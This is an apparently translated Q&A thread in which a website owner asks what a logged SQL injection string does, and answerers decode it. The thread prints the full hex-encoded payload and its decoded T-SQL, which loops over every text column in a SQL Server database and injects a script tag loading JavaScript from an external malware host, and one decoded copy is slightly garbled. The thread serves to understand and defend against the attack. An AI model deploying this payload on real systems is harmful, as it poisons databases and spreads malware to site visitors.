可能重复:
Attempted SQL injection attack - what are they trying to do?
在过去的几个月里,我在我的网站上多次看到过SQL注入尝试。
';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
在完成我的代码之后,我确信我受到保护,因为我查询了内存数据集而不是数据库本身。但是,即使我确定自己受到了保护,我也不完全了解这次攻击尝试发生了什么,并且想要弄清楚,以便我可以避免在将来编写可能容易受到攻击的代码。 / p>
有人可以向我解释这些黑客试图用这段代码做什么吗?
感谢。
- 此代码将附加到查询字符串以及作为发布数据发送。
答案 0 :(得分:20)
注意:我的第一个解释是不正确的,因为我实际上没有读完整个事情......
这就是转化为的内容。它在您的数据库中搜索text或varchar列(b.xtype in 99,35,231,167),然后将javascript文件注入数据库的所有文本列。比我原先想的更恶毒。
DECLARE
@T varchar(255),
@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script>
<!--''+['+@C+'] where '+@C+' not like ''%">
</title>
<script src="http://www2.s800qn.cn/csrss/w.js"></script><!--'
'')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
答案 1 :(得分:7)
实际上Jimmy,如果你分析这段代码,它会使用一个游标在数据库的每个文本字段中为hxxp://www2.s800qn.cn/csrss/w.js注入一个javascript引用。
这意味着他们不关心您的数据库,他们想要的是使用您的页面来窃取浏览它的用户的数据。
javascript链接现在已经死了,但它可能包含抓取用户cookie的代码。
答案 2 :(得分:3)
继吉米的帖子之后:你也可以使用hex-ascii翻译来实现这个目的:
DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www2.s800qn.cn
/csrs/w.js"></script>''+['+@C+'] where '+@C+' not like ''%"></title><script
src="http://www2.s800qn.cn/csrss/w.js"></script>''')FETCH NEXT FROM Table_Cursor INTO
@T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
答案 3 :(得分:2)
如果你还没弄明白这是一个自动攻击而非目标,那就给予帮助。所包含的.js文件的目的是通过使用您的网站分发恶意软件,其中包含一些主要针对IE用户的漏洞。